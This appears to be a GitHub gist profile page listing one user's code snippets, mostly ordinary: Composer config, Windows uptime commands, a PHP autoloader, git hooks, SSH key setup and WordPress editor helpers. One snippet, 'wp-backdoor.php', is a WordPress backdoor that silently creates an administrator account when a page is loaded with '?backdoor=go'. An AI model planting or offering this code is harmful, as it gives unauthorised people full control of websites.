Skip to content

Instantly share code, notes, and snippets.

View vlrmprjct's full-sized avatar
🎹
Boing boom tschak!

Thomas vlrmprjct

🎹
Boing boom tschak!
View GitHub Profile
@vlrmprjct
vlrmprjct / composer.json
Created February 9, 2018 12:09 — forked from mfurlend/composer.json
composer require git repository
{
"name": "my_vendor_name/my_package",
"description": "My Package Description",
"license": "GPL-3.0",
"autoload": {
"classmap": [ // search these directories for classes
"lib/"
]
},
"repositories": {
@vlrmprjct
vlrmprjct / uptime.cmd
Created February 3, 2018 13:04
windows uptime some different ways #windows #system
DE:
$ net statistics Arbeitsstationsdienst
$ systeminfo
$ systeminfo | find "Systemstartzeit:"
EN:
$ net statistics workstation
$ systeminfo | find "System Boot Time:"
@vlrmprjct
vlrmprjct / wp-backdoor.php
Last active April 16, 2020 16:24
Wordpress Backdoor add User #wordpress #php
add_action('wp_head', 'wpBackdoor');
function wpBackdoor() {
if ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
if (!username_exists('USERNAME')) {
$userID = wp_create_user('USERNAME', 'PASSWORD');
$user = new WP_User($userID);
$user->set_role('administrator');
}
@vlrmprjct
vlrmprjct / autoload.php
Last active November 13, 2017 07:51 — forked from cheich/autoload.php
PSR-4 class autoloader #php #class #autoloader
<?php
namespace MyProjectNamespace;
/**
* PSR-4 class autoloader
*
* @param string $class The fully-qualified class name.
*
* @return void
@vlrmprjct
vlrmprjct / pre-push.sh
Created October 23, 2017 07:00 — forked from vlucas/pre-push.sh
Prevent Pushes Directly to Master
#!/bin/bash
# @link https://gist.github.com/mattscilipoti/8424018
#
# Called by "git push" after it has checked the remote status,
# but before anything has been pushed.
#
# If this script exits with a non-zero status nothing will be pushed.
#
# Steps to install, from the root directory of your repo...
@vlrmprjct
vlrmprjct / sshKeyGen.sh
Last active November 8, 2017 08:11 — forked from wilcollins/sshKeyGen.sh
SSH KeyGen+Copy Bash Script (quick ssh key setup) #ssh #linux
#!/bin/bash
#
# Creates an SSH key on a client machine, applies the appropriate file permissions,
# copies to the local ~/.ssh directory, & copies to specified server
#
# parameters:
# ..1 newKeyFileName
# ..2 user@server
#
# usage :
@vlrmprjct
vlrmprjct / date.php
Created July 25, 2017 09:38
Collection of some date functions
// Calc current date + 7 days
print date('M d, Y', strtotime('+7 days') );
@vlrmprjct
vlrmprjct / WP_secondary_editor.php
Last active November 8, 2017 08:18 — forked from dcondrey/WP_secondary_editor
Add a second TinyMCE editor to Wordpress post editor page. #php #wordpress
/* Second Post Editor TinyMCE Editor */
class SubContentEditor {
public $meta_key = 'subcontent';
public $meta_label = 'Right Side'; // Headline above editor
public $post_type = array( 'page' ); // The post type in which the editor should display
public $wpautop = true; // Automatically create paragraphs?
function __construct() {
add_action( 'edit_form_after_editor', array( &$this, 'edit_form_after_editor' ) );
@vlrmprjct
vlrmprjct / daily_bing_img.js
Last active October 24, 2019 19:02
Daily Bing image via JS/JQuery using Yahoo Query API , bypass the access control origin policy
// BING BING BING
// GET DAILY BING IMAGE VIA JS/JQUERY USING YAHOO QUERY API
// TO BYPASS ACCESS CONTROL ORIGIN POLICY
//
// KNOWN BING URL PARAMETERS ARE:
// format: js | xml | rss
// idx: 0 - n ( offset | 0 = current image only | 1 previous image )
// n: 0 - n ( how many images )
// mkt: country code for description ( doesnt mean the image switch for the next day, this is indicated by the tld )
//
@vlrmprjct
vlrmprjct / push-multiple-git.sh
Last active April 24, 2017 06:29
Push to multiple git repositories
git config --add remote.all.url ssh://user@server/repos/g0.git
git config --add remote.all.url ssh://user@server/repos/g1.git
git push all